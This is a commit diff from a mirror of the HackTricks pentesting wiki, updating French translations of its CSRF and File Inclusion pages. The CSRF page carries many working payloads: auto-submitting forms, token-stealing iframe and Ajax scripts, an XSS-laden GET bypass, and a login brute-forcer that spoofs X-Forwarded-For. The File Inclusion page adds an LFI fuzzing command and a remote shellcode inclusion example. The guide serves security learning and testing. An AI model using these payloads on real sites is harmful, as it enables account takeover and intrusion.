mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/file-inclusion/README.md', 'src/pent
This commit is contained in:
parent
f7ec0da3e7
commit
19b9486abf
@ -2,85 +2,113 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Cross-Site Request Forgery (CSRF) Expliqué
|
||||
## Cross-Site Request Forgery (CSRF) expliqué
|
||||
|
||||
**Cross-Site Request Forgery (CSRF)** est un type de vulnérabilité de sécurité que l'on trouve dans les applications web. Elle permet aux attaquants d'effectuer des actions au nom d'utilisateurs non méfiants en exploitant leurs sessions authentifiées. L'attaque est exécutée lorsqu'un utilisateur, connecté à la plateforme d'une victime, visite un site malveillant. Ce site déclenche alors des requêtes vers le compte de la victime par des méthodes telles que l'exécution de JavaScript, la soumission de formulaires ou le chargement d'images.
|
||||
**Cross-Site Request Forgery (CSRF)** est un type de vulnérabilité de sécurité présent dans les applications web. Elle permet à des attaquants d'exécuter des actions au nom d'utilisateurs non méfiants en exploitant leurs sessions authentifiées. L'attaque s'exécute lorsqu'un utilisateur, connecté à la plateforme de la victime, visite un site malveillant. Ce site déclenche alors des requêtes vers le compte de la victime via des méthodes telles que l'exécution de JavaScript, la soumission de formulaires, ou le chargement d'images.
|
||||
|
||||
### Prérequis pour une attaque CSRF
|
||||
### Conditions préalables pour une attaque CSRF
|
||||
|
||||
Pour exploiter une vulnérabilité CSRF, plusieurs conditions doivent être remplies :
|
||||
Pour exploiter une vulnérabilité CSRF, plusieurs conditions doivent être réunies :
|
||||
|
||||
1. **Identifier une action précieuse** : L'attaquant doit trouver une action digne d'être exploitée, comme changer le mot de passe de l'utilisateur, l'email ou élever les privilèges.
|
||||
2. **Gestion de session** : La session de l'utilisateur doit être gérée uniquement par des cookies ou l'en-tête d'authentification HTTP Basic, car d'autres en-têtes ne peuvent pas être manipulés à cette fin.
|
||||
3. **Absence de paramètres imprévisibles** : La requête ne doit pas contenir de paramètres imprévisibles, car ils peuvent empêcher l'attaque.
|
||||
1. **Identify a Valuable Action** : L'attaquant doit trouver une action intéressante à exploiter, comme changer le mot de passe de l'utilisateur, son email, ou élever ses privilèges.
|
||||
2. **Session Management** : La session de l'utilisateur doit être gérée uniquement via des cookies ou l'en-tête HTTP Basic Authentication, car d'autres en-têtes ne peuvent pas être manipulés à cette fin.
|
||||
3. **Absence of Unpredictable Parameters** : La requête ne doit pas contenir de paramètres imprévisibles, car ceux-ci peuvent empêcher l'attaque.
|
||||
|
||||
### Vérification rapide
|
||||
|
||||
Vous pouvez **capturer la requête dans Burp** et vérifier les protections CSRF et pour tester depuis le navigateur, vous pouvez cliquer sur **Copy as fetch** et vérifier la requête :
|
||||
Vous pouvez **capturer la requête dans Burp** et vérifier les protections CSRF et, pour tester depuis le navigateur, vous pouvez cliquer sur **Copy as fetch** et vérifier la requête :
|
||||
|
||||
<figure><img src="../images/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Défense contre CSRF
|
||||
### Se défendre contre CSRF
|
||||
|
||||
Plusieurs contre-mesures peuvent être mises en œuvre pour se protéger contre les attaques CSRF :
|
||||
Plusieurs contre-mesures peuvent être mises en place pour se protéger contre les attaques CSRF :
|
||||
|
||||
- [**Cookies SameSite**](hacking-with-cookies/index.html#samesite) : Cet attribut empêche le navigateur d'envoyer des cookies avec des requêtes intersites. [En savoir plus sur les cookies SameSite](hacking-with-cookies/index.html#samesite).
|
||||
- [**Partage de ressources entre origines**](cors-bypass.md) : La politique CORS du site victime peut influencer la faisabilité de l'attaque, surtout si l'attaque nécessite de lire la réponse du site victime. [En savoir plus sur le contournement CORS](cors-bypass.md).
|
||||
- **Vérification de l'utilisateur** : Demander le mot de passe de l'utilisateur ou résoudre un captcha peut confirmer l'intention de l'utilisateur.
|
||||
- **Vérification des en-têtes Referrer ou Origin** : Valider ces en-têtes peut aider à s'assurer que les requêtes proviennent de sources de confiance. Cependant, un façonnage soigneux des URL peut contourner des vérifications mal implémentées, telles que :
|
||||
- Utiliser `http://mal.net?orig=http://example.com` (l'URL se termine par l'URL de confiance)
|
||||
- Utiliser `http://example.com.mal.net` (l'URL commence par l'URL de confiance)
|
||||
- **Modification des noms de paramètres** : Alterner les noms des paramètres dans les requêtes POST ou GET peut aider à prévenir les attaques automatisées.
|
||||
- **Tokens CSRF** : Incorporer un token CSRF unique dans chaque session et exiger ce token dans les requêtes suivantes peut réduire considérablement le risque de CSRF. L'efficacité du token peut être renforcée en appliquant CORS.
|
||||
- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): Cet attribut empêche le navigateur d'envoyer les cookies avec des requêtes cross-site. [More about SameSite cookies](hacking-with-cookies/index.html#samesite).
|
||||
- [**Cross-origin resource sharing**](cors-bypass.md): La politique CORS du site victime peut influencer la faisabilité de l'attaque, surtout si l'attaque nécessite de lire la réponse du site victime. [Learn about CORS bypass](cors-bypass.md).
|
||||
- **User Verification** : Demander le mot de passe de l'utilisateur ou la résolution d'un captcha peut confirmer l'intention de l'utilisateur.
|
||||
- **Checking Referrer or Origin Headers** : Valider ces en-têtes peut aider à s'assurer que les requêtes proviennent de sources de confiance. Cependant, un façonnage soigneux des URL peut contourner des vérifications mal implémentées, par exemple :
|
||||
- Using `http://mal.net?orig=http://example.com` (l'URL se termine par l'URL de confiance)
|
||||
- Using `http://example.com.mal.net` (l'URL commence par l'URL de confiance)
|
||||
- **Modifying Parameter Names** : Modifier les noms des paramètres dans les requêtes POST ou GET peut aider à prévenir des attaques automatisées.
|
||||
- **CSRF Tokens** : Incorporer un token CSRF unique par session et exiger ce token dans les requêtes suivantes peut significativement réduire le risque de CSRF. L'efficacité du token peut être renforcée en appliquant CORS.
|
||||
|
||||
Comprendre et mettre en œuvre ces défenses est crucial pour maintenir la sécurité et l'intégrité des applications web.
|
||||
Comprendre et implémenter ces défenses est crucial pour maintenir la sécurité et l'intégrité des applications web.
|
||||
|
||||
## Contournement des défenses
|
||||
|
||||
### De POST à GET
|
||||
### From POST to GET (method-conditioned CSRF validation bypass)
|
||||
|
||||
Peut-être que le formulaire que vous souhaitez abuser est préparé pour envoyer une **requête POST avec un token CSRF mais**, vous devriez **vérifier** si un **GET** est également **valide** et si lorsque vous envoyez une requête GET, le **token CSRF est toujours validé**.
|
||||
Certaines applications n'appliquent la validation CSRF que sur les requêtes POST tout en l'ignorant pour d'autres verbes. Un anti-pattern courant en PHP ressemble à :
|
||||
```php
|
||||
public function csrf_check($fatal = true) {
|
||||
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
|
||||
// ... validate __csrf_token here ...
|
||||
}
|
||||
```
|
||||
Si l'endpoint vulnérable accepte aussi des paramètres depuis $_REQUEST, vous pouvez réémettre la même action en tant que requête GET et omettre entièrement le token CSRF. Cela convertit une action POST-only en une action GET qui réussit sans token.
|
||||
|
||||
Exemple:
|
||||
|
||||
- Original POST with token (intended):
|
||||
|
||||
```http
|
||||
POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
__csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]
|
||||
```
|
||||
|
||||
- Bypass by switching to GET (no token):
|
||||
|
||||
```http
|
||||
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1
|
||||
```
|
||||
|
||||
Remarques:
|
||||
- Ce pattern apparaît fréquemment conjointement avec du XSS réfléchi lorsque les réponses sont servies incorrectement en tant que text/html au lieu de application/json.
|
||||
- Associer cela avec du XSS réduit fortement les barrières d'exploitation parce que vous pouvez fournir un unique lien GET qui déclenche à la fois le chemin de code vulnérable et évite complètement les vérifications CSRF.
|
||||
|
||||
### Absence de token
|
||||
|
||||
Les applications peuvent mettre en œuvre un mécanisme pour **valider les tokens** lorsqu'ils sont présents. Cependant, une vulnérabilité se présente si la validation est complètement ignorée lorsque le token est absent. Les attaquants peuvent exploiter cela en **supprimant le paramètre** qui porte le token, pas seulement sa valeur. Cela leur permet de contourner le processus de validation et de mener efficacement une attaque Cross-Site Request Forgery (CSRF).
|
||||
Les applications peuvent implémenter un mécanisme pour **valider les tokens** lorsqu'ils sont présents. Cependant, une vulnérabilité apparaît si la validation est totalement ignorée lorsque le token est absent. Les attaquants peuvent exploiter cela en **supprimant le paramètre** qui contient le token, pas seulement sa valeur. Cela leur permet de contourner le processus de validation et de mener efficacement une Cross-Site Request Forgery (CSRF).
|
||||
|
||||
### Le token CSRF n'est pas lié à la session utilisateur
|
||||
|
||||
Les applications **ne liant pas les tokens CSRF aux sessions utilisateur** présentent un **risque de sécurité** significatif. Ces systèmes vérifient les tokens par rapport à un **pool global** plutôt que de s'assurer que chaque token est lié à la session initiatrice.
|
||||
Les applications qui **ne lient pas les tokens CSRF aux sessions utilisateur** présentent un **risque de sécurité** significatif. Ces systèmes vérifient les tokens contre une **pool globale** plutôt que de s'assurer que chaque token est lié à la session initiatrice.
|
||||
|
||||
Voici comment les attaquants exploitent cela :
|
||||
|
||||
1. **S'authentifier** en utilisant leur propre compte.
|
||||
2. **Obtenir un token CSRF valide** du pool global.
|
||||
2. **Obtenir un token CSRF valide** depuis la pool globale.
|
||||
3. **Utiliser ce token** dans une attaque CSRF contre une victime.
|
||||
|
||||
Cette vulnérabilité permet aux attaquants de faire des requêtes non autorisées au nom de la victime, exploitant le **mécanisme de validation de token inadéquat** de l'application.
|
||||
Cette vulnérabilité permet aux attaquants d'effectuer des requêtes non autorisées au nom de la victime, en tirant parti du **mécanisme de validation des tokens insuffisant** de l'application.
|
||||
|
||||
### Contournement de méthode
|
||||
### Contournement de la méthode
|
||||
|
||||
Si la requête utilise une "**méthode**" **"bizarre"**, vérifiez si la **fonctionnalité** de **surcharge de méthode** fonctionne. Par exemple, si elle **utilise une méthode PUT**, vous pouvez essayer d'**utiliser une méthode POST** et **envoyer** : _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||||
Si la requête utilise une **méthode "bizarre"**, vérifiez si la fonctionnalité de **méthode override** fonctionne. Par exemple, si elle **utilise un PUT** vous pouvez essayer d'**utiliser un POST** et **envoyer** : _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||||
|
||||
Cela pourrait également fonctionner en envoyant le **paramètre \_method à l'intérieur d'une requête POST** ou en utilisant les **en-têtes** :
|
||||
Cela peut aussi fonctionner en envoyant le **paramètre \_method dans une requête POST** ou en utilisant les **en-têtes** :
|
||||
|
||||
- _X-HTTP-Method_
|
||||
- _X-HTTP-Method-Override_
|
||||
- _X-Method-Override_
|
||||
|
||||
### Contournement de token d'en-tête personnalisé
|
||||
### Contournement du token via en-tête personnalisé
|
||||
|
||||
Si la requête ajoute un **en-tête personnalisé** avec un **token** à la requête comme **méthode de protection CSRF**, alors :
|
||||
Si la requête ajoute un **custom header** avec un **token** à la requête comme **méthode de protection CSRF**, alors :
|
||||
|
||||
- Testez la requête sans le **token personnalisé et aussi l'en-tête.**
|
||||
- Testez la requête avec le **même longueur mais un token différent**.
|
||||
- Testez la requête sans le token personnalisé ni l'en-tête.
|
||||
- Testez la requête avec un token différent mais de la **même longueur exacte**.
|
||||
|
||||
### Le token CSRF est vérifié par un cookie
|
||||
|
||||
Les applications peuvent mettre en œuvre une protection CSRF en dupliquant le token à la fois dans un cookie et un paramètre de requête ou en définissant un cookie CSRF et en vérifiant si le token envoyé dans le backend correspond au cookie. L'application valide les requêtes en vérifiant si le token dans le paramètre de requête correspond à la valeur dans le cookie.
|
||||
Les applications peuvent implémenter une protection CSRF en dupliquant le token à la fois dans un cookie et dans un paramètre de requête ou en définissant un CSRF cookie et en vérifiant si le token envoyé au backend correspond au cookie. L'application valide les requêtes en vérifiant si le token dans le paramètre de la requête correspond à la valeur du cookie.
|
||||
|
||||
Cependant, cette méthode est vulnérable aux attaques CSRF si le site web présente des défauts permettant à un attaquant de définir un cookie CSRF dans le navigateur de la victime, comme une vulnérabilité CRLF. L'attaquant peut exploiter cela en chargeant une image trompeuse qui définit le cookie, suivie du lancement de l'attaque CSRF.
|
||||
Cependant, cette méthode est vulnérable aux attaques CSRF si le site présente des failles permettant à un attaquant d'installer un CSRF cookie dans le navigateur de la victime, comme une vulnérabilité CRLF. L'attaquant peut exploiter cela en chargeant une image trompeuse qui définit le cookie, puis en initiant l'attaque CSRF.
|
||||
|
||||
Voici un exemple de la façon dont une attaque pourrait être structurée :
|
||||
Ci-dessous un exemple de la manière dont une attaque pourrait être structurée :
|
||||
```html
|
||||
<html>
|
||||
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
|
||||
@ -103,19 +131,19 @@ onerror="document.forms[0].submit();" />
|
||||
</html>
|
||||
```
|
||||
> [!TIP]
|
||||
> Notez que si le **token csrf est lié au cookie de session, cette attaque ne fonctionnera pas** car vous devrez définir la session de la victime, et donc vous vous attaquerez à vous-même.
|
||||
> Notez que si le **csrf token est lié au session cookie cette attaque ne fonctionnera pas** car vous devrez définir la session de la victime sur la vôtre, et donc vous vous attaquerez vous‑même.
|
||||
|
||||
### Changement de Content-Type
|
||||
|
||||
Selon [**ceci**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), afin d'**éviter les** requêtes préliminaires utilisant la méthode **POST**, voici les valeurs de Content-Type autorisées :
|
||||
Selon [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), afin d'**éviter les requêtes preflight** en utilisant la méthode **POST**, voici les valeurs Content-Type autorisées :
|
||||
|
||||
- **`application/x-www-form-urlencoded`**
|
||||
- **`multipart/form-data`**
|
||||
- **`text/plain`**
|
||||
|
||||
Cependant, notez que la **logique des serveurs peut varier** en fonction du **Content-Type** utilisé, donc vous devriez essayer les valeurs mentionnées et d'autres comme **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
|
||||
Cependant, notez que la **logique du serveur peut varier** en fonction du **Content-Type** utilisé, donc vous devriez essayer les valeurs mentionnées ainsi que d'autres comme **`application/json`**, **`text/xml`**, **`application/xml`**.
|
||||
|
||||
Exemple (de [ici](https://brycec.me/posts/corctf_2021_challenges)) d'envoi de données JSON en tant que text/plain :
|
||||
Exemple (from [here](https://brycec.me/posts/corctf_2021_challenges)) of sending JSON data as text/plain:
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
@ -134,23 +162,23 @@ form.submit()
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### Contournement des requêtes préliminaires pour les données JSON
|
||||
### Contourner les Preflight Requests pour les données JSON
|
||||
|
||||
Lors de l'envoi de données JSON via une requête POST, l'utilisation de `Content-Type: application/json` dans un formulaire HTML n'est pas directement possible. De même, l'utilisation de `XMLHttpRequest` pour envoyer ce type de contenu déclenche une requête préliminaire. Néanmoins, il existe des stratégies pour contourner cette limitation et vérifier si le serveur traite les données JSON indépendamment du Content-Type :
|
||||
Lorsque vous tentez d'envoyer des données JSON via une requête POST, utiliser `Content-Type: application/json` dans un formulaire HTML n'est pas directement possible. De même, utiliser `XMLHttpRequest` pour envoyer ce type de contenu déclenche un preflight request. Néanmoins, il existe des stratégies pour potentiellement contourner cette limitation et vérifier si le serveur traite les données JSON indépendamment du Content-Type :
|
||||
|
||||
1. **Utiliser des types de contenu alternatifs** : Employez `Content-Type: text/plain` ou `Content-Type: application/x-www-form-urlencoded` en définissant `enctype="text/plain"` dans le formulaire. Cette approche teste si le backend utilise les données indépendamment du Content-Type.
|
||||
2. **Modifier le type de contenu** : Pour éviter une requête préliminaire tout en s'assurant que le serveur reconnaît le contenu comme JSON, vous pouvez envoyer les données avec `Content-Type: text/plain; application/json`. Cela ne déclenche pas de requête préliminaire mais pourrait être traité correctement par le serveur s'il est configuré pour accepter `application/json`.
|
||||
3. **Utilisation de fichiers SWF Flash** : Une méthode moins courante mais réalisable consiste à utiliser un fichier SWF flash pour contourner de telles restrictions. Pour une compréhension approfondie de cette technique, référez-vous à [ce post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
|
||||
1. **Use Alternative Content Types** : Employez `Content-Type: text/plain` ou `Content-Type: application/x-www-form-urlencoded` en définissant `enctype="text/plain"` dans le form. Cette approche permet de tester si le backend utilise les données indépendamment du Content-Type.
|
||||
2. **Modify Content Type** : Pour éviter un preflight request tout en s'assurant que le serveur reconnaît le contenu comme JSON, vous pouvez envoyer les données avec `Content-Type: text/plain; application/json`. Cela n'entraîne pas de preflight request mais peut être traité correctement par le serveur s'il est configuré pour accepter `application/json`.
|
||||
3. **SWF Flash File Utilization** : Une méthode moins courante mais réalisable consiste à utiliser un fichier SWF Flash pour contourner ces restrictions. Pour une compréhension approfondie de cette technique, référez-vous à [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
|
||||
|
||||
### Contournement de la vérification du référent / origine
|
||||
### Referrer / Origin check bypass
|
||||
|
||||
**Éviter l'en-tête Referer**
|
||||
**Avoid Referrer header**
|
||||
|
||||
Les applications peuvent valider l'en-tête 'Referer' uniquement lorsqu'il est présent. Pour empêcher un navigateur d'envoyer cet en-tête, le tag meta HTML suivant peut être utilisé :
|
||||
Les applications peuvent valider le header 'Referer' uniquement lorsqu'il est présent. Pour empêcher un navigateur d'envoyer cet en-tête, la balise meta HTML suivante peut être utilisée :
|
||||
```xml
|
||||
<meta name="referrer" content="never">
|
||||
```
|
||||
Cela garantit que l'en-tête 'Referer' est omis, contournant potentiellement les vérifications de validation dans certaines applications.
|
||||
Cela garantit que l'en-tête 'Referer' est omis, contournant potentiellement les contrôles de validation dans certaines applications.
|
||||
|
||||
**Contournements Regexp**
|
||||
|
||||
@ -159,7 +187,7 @@ Cela garantit que l'en-tête 'Referer' est omis, contournant potentiellement les
|
||||
ssrf-server-side-request-forgery/url-format-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
Pour définir le nom de domaine du serveur dans l'URL que le Referrer va envoyer à l'intérieur des paramètres, vous pouvez faire :
|
||||
Pour définir le nom de domaine du serveur dans l'URL que le Referrer va envoyer à l'intérieur des paramètres vous pouvez faire:
|
||||
```html
|
||||
<html>
|
||||
<!-- Referrer policy needed to send the qury parameter in the referrer -->
|
||||
@ -188,19 +216,19 @@ document.forms[0].submit()
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### **Bypass de la méthode HEAD**
|
||||
### **Contournement de la méthode HEAD**
|
||||
|
||||
La première partie de [**ce writeup CTF**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explique que [le code source d'Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), un routeur, est configuré pour **traiter les requêtes HEAD comme des requêtes GET** sans corps de réponse - un contournement courant qui n'est pas unique à Oak. Au lieu d'un gestionnaire spécifique qui traite les requêtes HEAD, elles sont simplement **transmises au gestionnaire GET mais l'application supprime juste le corps de la réponse**.
|
||||
La première partie de [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explique que d'après [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281), un router est configuré pour **traiter les requêtes HEAD comme des requêtes GET** sans corps de réponse — un contournement courant qui n'est pas propre à Oak. Plutôt que d'avoir un handler spécifique qui s'occupe des requêtes HEAD, elles sont simplement **remises au handler GET mais l'app supprime le corps de la réponse**.
|
||||
|
||||
Par conséquent, si une requête GET est limitée, vous pourriez simplement **envoyer une requête HEAD qui sera traitée comme une requête GET**.
|
||||
Donc, si une requête GET est limitée, vous pouvez simplement **envoyer une requête HEAD qui sera traitée comme une requête GET**.
|
||||
|
||||
## **Exemples d'exploitation**
|
||||
|
||||
### **Exfiltration du token CSRF**
|
||||
### **Exfiltration du CSRF token**
|
||||
|
||||
Si un **token CSRF** est utilisé comme **défense**, vous pourriez essayer de **l'exfiltrer** en abusant d'une vulnérabilité [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) ou d'une vulnérabilité [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html).
|
||||
Si un **CSRF token** est utilisé comme **défense**, vous pouvez essayer de **l'exfiltrer** en abusant d'une vulnérabilité [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) ou d'une vulnérabilité [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html).
|
||||
|
||||
### **GET utilisant des balises HTML**
|
||||
### **GET en utilisant des balises HTML**
|
||||
```xml
|
||||
<img src="http://google.es?param=VALUE" style="display:none" />
|
||||
<h1>404 - Page not found</h1>
|
||||
@ -235,7 +263,7 @@ background: url("...");
|
||||
</video>
|
||||
</audio>
|
||||
```
|
||||
### Formulaire de requête GET
|
||||
### Requête GET via formulaire
|
||||
```html
|
||||
<html>
|
||||
<!-- CSRF PoC - generated by Burp Suite Professional -->
|
||||
@ -253,7 +281,7 @@ document.forms[0].submit()
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### Formulaire de requête POST
|
||||
### Requête POST de formulaire
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
@ -281,7 +309,7 @@ document.forms[0].submit() //Way 3 to autosubmit
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### Formulaire de requête POST via iframe
|
||||
### Requête POST d'un formulaire via iframe
|
||||
```html
|
||||
<!--
|
||||
The request is sent through the iframe withuot reloading the page
|
||||
@ -304,7 +332,7 @@ document.forms[0].submit()
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### **Requête POST Ajax**
|
||||
### **Requête Ajax POST**
|
||||
```html
|
||||
<script>
|
||||
var xh
|
||||
@ -333,7 +361,7 @@ data: "param=value¶m2=value2",
|
||||
})
|
||||
</script>
|
||||
```
|
||||
### requête POST multipart/form-data
|
||||
### Requête POST multipart/form-data
|
||||
```javascript
|
||||
myFormData = new FormData()
|
||||
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
|
||||
@ -346,7 +374,7 @@ headers: { "Content-Type": "application/x-www-form-urlencoded" },
|
||||
mode: "no-cors",
|
||||
})
|
||||
```
|
||||
### multipart/form-data POST request v2
|
||||
### multipart/form-data requête POST v2
|
||||
```javascript
|
||||
// https://www.exploit-db.com/exploits/20009
|
||||
var fileSize = fileData.length,
|
||||
@ -374,7 +402,7 @@ body += "--" + boundary + "--"
|
||||
//xhr.send(body);
|
||||
xhr.sendAsBinary(body)
|
||||
```
|
||||
### Formulaire de requête POST depuis un iframe
|
||||
### Requête POST d'un formulaire depuis un iframe
|
||||
```html
|
||||
<--! expl.html -->
|
||||
|
||||
@ -398,7 +426,7 @@ document.getElementById("formulario").submit()
|
||||
</body>
|
||||
</body>
|
||||
```
|
||||
### **Voler le jeton CSRF et envoyer une requête POST**
|
||||
### **Voler CSRF Token et envoyer une requête POST**
|
||||
```javascript
|
||||
function submitFormWithTokenJS(token) {
|
||||
var xhr = new XMLHttpRequest()
|
||||
@ -445,7 +473,7 @@ var GET_URL = "http://google.com?param=VALUE"
|
||||
var POST_URL = "http://google.com?param=VALUE"
|
||||
getTokenJS()
|
||||
```
|
||||
### **Voler le jeton CSRF et envoyer une requête Post en utilisant un iframe, un formulaire et Ajax**
|
||||
### **Voler le CSRF Token et envoyer une requête POST en utilisant un iframe, un formulaire et Ajax**
|
||||
```html
|
||||
<form
|
||||
id="form1"
|
||||
@ -473,7 +501,7 @@ style="display:none"
|
||||
src="http://google.com?param=VALUE"
|
||||
onload="javascript:f1();"></iframe>
|
||||
```
|
||||
### **Voler le jeton CSRF et envoyer une requête POST en utilisant un iframe et un formulaire**
|
||||
### **Voler le CSRF Token et envoyer une requête POST en utilisant un iframe et un form**
|
||||
```html
|
||||
<iframe
|
||||
id="iframe"
|
||||
@ -506,7 +534,7 @@ document.forms[0].submit.click()
|
||||
}
|
||||
</script>
|
||||
```
|
||||
### **Voler le jeton et l'envoyer en utilisant 2 iframes**
|
||||
### **Voler le token et l'envoyer en utilisant 2 iframes**
|
||||
```html
|
||||
<script>
|
||||
var token;
|
||||
@ -536,7 +564,7 @@ height="600" width="800"></iframe>
|
||||
<button type="submit">Submit</button>
|
||||
</form>
|
||||
```
|
||||
### **POSTVoler le token CSRF avec Ajax et envoyer un post avec un formulaire**
|
||||
### **POSTSteal CSRF token avec Ajax et envoyer un post via un formulaire**
|
||||
```html
|
||||
<body onload="getData()">
|
||||
<form
|
||||
@ -589,7 +617,7 @@ room: username,
|
||||
```
|
||||
## CSRF Login Brute Force
|
||||
|
||||
Le code peut être utilisé pour forcer un formulaire de connexion en utilisant un jeton CSRF (Il utilise également l'en-tête X-Forwarded-For pour essayer de contourner un éventuel blacklistage d'IP) :
|
||||
Le code peut être utilisé pour Brut Force un formulaire de connexion en utilisant un CSRF token (Il utilise également l'en-tête X-Forwarded-For pour tenter de contourner un éventuel IP blacklisting):
|
||||
```python
|
||||
import request
|
||||
import re
|
||||
@ -644,7 +672,6 @@ login(USER, line.strip())
|
||||
- [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation)
|
||||
- [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses)
|
||||
- [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
|
||||
|
||||
|
||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -1,57 +1,57 @@
|
||||
# Inclusion de fichiers/Traversée de chemin
|
||||
# File Inclusion/Path traversal
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Inclusion de fichiers
|
||||
## File Inclusion
|
||||
|
||||
**Inclusion de fichiers distants (RFI) :** Le fichier est chargé depuis un serveur distant (Meilleur : Vous pouvez écrire le code et le serveur l'exécutera). En php, cela est **désactivé** par défaut (**allow_url_include**).\
|
||||
**Inclusion de fichiers locaux (LFI) :** Le serveur charge un fichier local.
|
||||
**Remote File Inclusion (RFI):** Le fichier est chargé depuis un serveur distant (Meilleur: vous pouvez écrire le code et le serveur l'exécutera). In php this is **disabled** by default (**allow_url_include**).\
|
||||
**Local File Inclusion (LFI):** Le serveur charge un fichier local.
|
||||
|
||||
La vulnérabilité se produit lorsque l'utilisateur peut contrôler d'une manière ou d'une autre le fichier qui va être chargé par le serveur.
|
||||
La vulnérabilité se produit lorsque l'utilisateur peut, d'une manière ou d'une autre, contrôler le fichier que le serveur va charger.
|
||||
|
||||
Fonctions **PHP vulnérables** : require, require_once, include, include_once
|
||||
Fonctions **PHP** vulnérables : require, require_once, include, include_once
|
||||
|
||||
Un outil intéressant pour exploiter cette vulnérabilité : [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||
|
||||
## Blind - Intéressant - fichiers LFI2RCE
|
||||
## Blind - Intéressants - fichiers LFI2RCE
|
||||
```python
|
||||
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
|
||||
```
|
||||
### **Linux**
|
||||
|
||||
**En mélangeant plusieurs listes LFI \*nix et en ajoutant d'autres chemins, j'ai créé celle-ci :**
|
||||
**En combinant plusieurs listes LFI \*nix et en ajoutant davantage de chemins, j'ai créé celle-ci :**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
|
||||
{{#endref}}
|
||||
|
||||
Essayez également de changer `/` par `\`\
|
||||
Essayez aussi de remplacer `/` par `\`\
|
||||
Essayez aussi d'ajouter `../../../../../`
|
||||
|
||||
Une liste qui utilise plusieurs techniques pour trouver le fichier /etc/password (pour vérifier si la vulnérabilité existe) peut être trouvée [ici](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
||||
Une liste qui utilise plusieurs techniques pour trouver le fichier /etc/password (pour vérifier si la vulnérabilité existe) peut être trouvée [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
||||
|
||||
### **Windows**
|
||||
|
||||
Fusion de différentes listes de mots :
|
||||
Fusion de différentes wordlists :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
|
||||
{{#endref}}
|
||||
|
||||
Essayez également de changer `/` par `\`\
|
||||
Essayez aussi de remplacer `/` par `\`\
|
||||
Essayez aussi de supprimer `C:/` et d'ajouter `../../../../../`
|
||||
|
||||
Une liste qui utilise plusieurs techniques pour trouver le fichier /boot.ini (pour vérifier si la vulnérabilité existe) peut être trouvée [ici](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
||||
Une liste qui utilise plusieurs techniques pour trouver le fichier /boot.ini (pour vérifier si la vulnérabilité existe) peut être trouvée [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
||||
|
||||
### **OS X**
|
||||
|
||||
Vérifiez la liste LFI de linux.
|
||||
Consultez la liste LFI de linux.
|
||||
|
||||
## Basic LFI and bypasses
|
||||
## LFI basique et bypasses
|
||||
|
||||
Tous les exemples concernent l'inclusion de fichiers locaux mais pourraient également être appliqués à l'inclusion de fichiers distants (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
|
||||
